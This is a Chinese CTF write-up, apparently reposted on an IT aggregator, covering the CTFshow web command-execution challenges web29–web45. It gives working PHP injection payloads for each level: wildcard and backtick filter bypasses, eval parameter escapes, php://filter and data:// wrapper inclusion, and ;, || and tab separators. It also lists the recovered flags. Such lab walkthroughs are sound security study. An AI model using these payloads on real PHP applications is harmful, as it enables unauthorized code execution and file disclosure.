IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow--web--命令执行 -> 正文阅读

[PHP知识库]ctfshow--web--命令执行

web29

可以看到过滤了flag字样

但我们可以通过通配符绕过flag,比如用fla?来表示flag

先用?c=system('ls');来观察该目录下存在的文件,发现了flag.php

?

然后使用?c=system('cp fla?.php 1.txt');flag.php的内容配对到1.txt

?

?

然后访问1.txt即可得到flag

?得到flag

?web30

发现新过滤了system以及php这两个关键字

我们此时可以通过反引号```来代替system,继续利用通配符?来配对php字样

则payload

?c=`cp fla?.??? 1.txt`;

?

?然后再访问1.txt即可

web31

发现新过滤了cat,sort,shell,小数点,空格,单引号等字样

我们可以通过eval嵌套执行get的第一个参数

payload:

?c=eval($_GET[1]);&1=system('cat flag.php');


这里payload使得1这个参数逃逸出来了,它不属于c,那么这些ban掉的字符对于1来说是无效的,对1来说没有什么过滤的地方了我们直接cat flag.php即可

?这里有一点就是执行之后页面是空白的,只有查看源代码才能发现flag

?web32

过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替

payload:

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?

?

放入base64解码即可的到flag

?ctfshow{b0422ea2-802f-423d-9675-1c235a0d0690}

web33

本题多过滤了一个双引号,这题用require函数
payload:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?

?

?flag="ctfshow{ca648c78-4720-44ac-99c5-184284d0d8f0}"

web34

过滤又增加了:
依然可以用之前的方法
payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?

?flag="ctfshow{8429b46f-8ffc-40b4-b4b0-8a1f25a175fd}

web35

又多过滤了<,依然可以用之前的方法
payload:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?flag="ctfshow{5e9c8591-1df1-45de-9146-63c8075896e2}"

?web36

又增加了数字.emmmm…依然可以用之前的方法。只不过换成字母
payload:

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

?flag="ctfshow{d25a5fe9-07ad-4984-9f45-ebbeb272efe2}"

web37

与之前不同的是这里包含了一个c:include($c);

这题我们可以通过data伪协议读取

payload: ?c=data://text/plain,<?php system('tac fla?.php');?>


这个data协议是将后面的字符串当作php代码来执行,自然就通过执行system('tac fla?.php')成功的获取到了flag

?data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

flag="ctfshow{9a2d8846-a9e3-45a0-a8c1-e9efd8d8e8a0}"

web38

打开这题发现php被过滤了,但这题php代码这里可以使用php短标签进行绕过,flag.php这可继续用通配符?绕过

payload:?c=data://text/plain,<?=system('tac fla?.???')?>

说明:‘<?=’是PHP的一个短的开放式标签,是echo的开放式用法。

?flag="ctfshow{95735898-480e-456e-b676-048c4ef7edd4}"

web39

在这不同的是include($c);后面加了个.php

但在这我们可以使用上次的payload:

?c=data://text/plain,<?=system('tac fla?.php')?>
因为这里我们的php代码已经闭合,.php就起不到执行的效果,只能被当作字符串输出

?flag="ctfshow{0981bc71-7135-4f3f-89ed-f673cb96a631}"

web40

发现基本所有符号都被过滤了

大概只剩下了分号,下划线,以及英文括号(观察很久才发现题目过滤的是中文括号)

打印当初路径下文件的函数:print_r(scandir('.'))

但是很明显单引号和小数点已经过滤了,这里要先办法绕过

最简单的方法是利用函数传参,那就找当前能用包含小数点的函数

localeconv() 返回一包含本地数字及货币格式信息的数组

那么按找接下来思路就是构造:print_r(scandir(localeconv()[0]))

但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数

1.current() 函数返回数组中的当前元素(单元),默认取第一个值,

2.pos() 同 current() ,是current()的别名

3.reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

这里三个函数都可以用

因此打印当前目录:?c=print_r(scandir(pos(localeconv())));

?

从此目录发现了flag.php

这里可以的用next()

输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)

但是flag在第三个怎么办?可以用array_reverse函数

这个函数就是将数组转置;

所以payload:?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

?

可以到达flag.php这个目录,接下来我们查看他的代码即可得到flag

最终payload:??c=show_source(next(array_reverse(scandir(pos(localeconv())))));

得到flag

?flag="ctfshow{b12df84f-6572-43b3-bfd9-264aaa6c358a}"

web42

利用函数:system()

绕过思路:这里是通过>/dev/null 2>&1把输出的内容不进行回显,相当于一个“黑洞”,我们通过“;”进行截断,回显出flag.

Payload1:?c=ls;

?Payload2: ?c=tac flag.php;

?flag="ctfshow{116d09a7-18d8-4820-9f1c-5560f110cd73}"

web43

在这基础上又过滤了; cat
payload:

?c=cp flag.php 1.txt||


?c=nl flag.php||


?c=tac flag.php||

?flag="ctfshow{019f8347-cd61-484c-adcf-be73bc0fa0e9}"

?web44

payload:

?c=tac fl*.php||


?c=cp fl*.php 1.txt||

?flag="ctfshow{5804aba2-462e-409f-a24f-518d14df091c}"

web45

%09是Tab的url编码
payload:

?c=tac%09fl*.php||

?flag="ctfshow{cf485f41-6502-4363-b00c-34668e23e587}"

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-14 20:53:46  更:2022-02-14 20:54:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 6:25:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计